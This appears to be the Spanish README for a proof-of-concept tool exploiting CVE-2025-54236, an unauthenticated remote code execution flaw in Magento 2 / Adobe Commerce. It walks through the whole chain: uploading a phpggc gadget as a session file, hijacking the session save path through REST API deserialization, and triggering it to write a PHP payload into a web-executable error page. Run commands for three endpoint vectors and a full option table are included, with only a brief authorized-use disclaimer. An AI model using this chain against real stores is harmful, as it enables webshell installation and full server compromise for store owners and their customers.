PoC Magento Session Reaper - CVE-2025-54236
PoC unificado para CVE-2025-54236 ("SessionReaper"), un RCE crítico sin autenticación en Magento 2 / Adobe Commerce mediante deserialización anidada en la API REST.
ServiceInputProcessor;
la primitiva del exploit es la deserialización insegura (CWE-502)Solo para pruebas de seguridad autorizadas. Utilícelo exclusivamente contra sistemas que sean de su propiedad o para los que tenga permiso escrito explícito para probar.
La herramienta encadena tres etapas comunes a todos los vectores, además de un disparador:
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php>
construye un objeto serializado que escribe payload.php en <remote_path> al ser
deserializado.POST /customer/address_file/upload almacena el blob
serializado como sess_<SESSID>. Magento distribuye los archivos de direcciones
subidos según los primeros caracteres del nombre de archivo, por lo que termina en
media/customer_address/s/e/sess_<SESSID> (de ahí el s/e/ en --save-path).Session\Config y,
mediante setSavePath() → setOption() → ini_set('session.save_path', ...) (un efecto
secundario global del proceso), apunta el manejador de sesiones de PHP al blob subido.Cookie: PHPSESSID=<SESSID> obliga a
session_start() a leer y unserialize() el archivo envenenado, activando el gadget
y escribiendo el payload.Los tres vectores llegan al mismo sink
(context → urlBuilder → session → sessionConfig → savePath). Solo se diferencian en el
endpoint, el verbo HTTP y el módulo de Magento implicado — útil cuando un WAF o un
módulo deshabilitado bloquea un endpoint pero no otro.
| Método | Endpoint | Verbo | Punto de entrada en la cadena |
|---|---|---|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
No se requiere ningún carrito real para ningún vector. ServiceInputProcessor
deserializa los parámetros del método durante la resolución de entrada — antes de que
el servicio invoque cualquier búsqueda de carrito — por lo que un cartId ficticio de
abc llega al sink en los tres. El consiguiente error de "carrito no encontrado"
(404/500) es esperado y confirma que el efecto secundario de la deserialización ya se ha
disparado.
Hay una bandera
--skudisponible si desea que la herramienta cree un carrito de invitado real y añada un producto antes de disparar (verificado vía GraphQL). Esto es opcional y no es necesario para la explotación; existe solo para entornos donde prefiera un flujo de compra totalmente realista. Omítala y la herramienta usará el carrito ficticioabc.
var/session/). Las sesiones
respaldadas por Redis y bases de datos no se ven afectadas por esta cadena RCE
específica. Esto no se puede enumerar de forma remota, por lo que debe intentarse a
ciegas./customer/address_file/upload accesible sin autenticación.requestsphpggc — se detecta automáticamente en
PATH, en ubicaciones de instalación habituales, o se descarga la imagen Docker
ambionics/phpggc como alternativapayload.php en el mismo directorio que el script (debe comenzar con <?php)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # or: docker pull ambionics/phpggc
# order (original vector) — no cart, no credentials
python3 session_reaper.py --host https://target.com --method order
# checkmo — payments endpoint, Spanish store scope for the REST API
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — shipping endpoint
python3 session_reaper.py --host https://target.com --method address --api-store all
# optional: exercise a real cart flow with a known SKU (not required)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
| Bandera | Por defecto | Descripción |
|---|---|---|
--host | (obligatorio) | URL base del objetivo |
--method | (obligatorio) | address | checkmo | order |
--store | default | Código de tienda para la petición de disparo (y el carrito, si se usa --sku) |
--api-store | default | Código de tienda en la URL del endpoint de deserialización (all | es | default | personalizado) |
--sku | (ninguno) | Opcional. Si se establece, crea un carrito de invitado real con este SKU. No es necesario. |
--payload-in | payload.php | Payload PHP a escribir en el objetivo |
--payload-out | /var/www/html/pub/errors/404.php | Ruta de escritura remota (debe ser una ubicación ejecutable por web — ver nota a continuación) |
--save-path | media/customer_address/s/e/ | savePath inyectado en la cadena del gadget |
--phpggc | (automático) | Ruta explícita al binario phpggc |
--proxy | http://127.0.0.1:8081 | Proxy HTTP (p. ej. Burp) |
--no-proxy | desactivado | Deshabilitar el proxy |
--username / --password | (ninguno) | Credenciales de cliente opcionales para un token Bearer |
La herramienta utiliza dos códigos de tienda independientes:
--api-store — el ámbito en la URL de la petición de deserialización
(/rest/<api-store>/V1/guest-carts/...), donde se ejecuta ServiceInputProcessor.--store — el ámbito para la petición de disparo (GET /<store>/) y, si se usa
--sku, para las peticiones del carrito.Los códigos de vista de tienda los define el administrador; no asuma es/fr.
Enumere primero las vistas de tienda activas — una petición contra un ámbito inexistente
simplemente falla.
pub/errors/404.phpLa configuración Nginx predeterminada de Magento solo pasa siete archivos PHP a
fastcgi_backend:
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php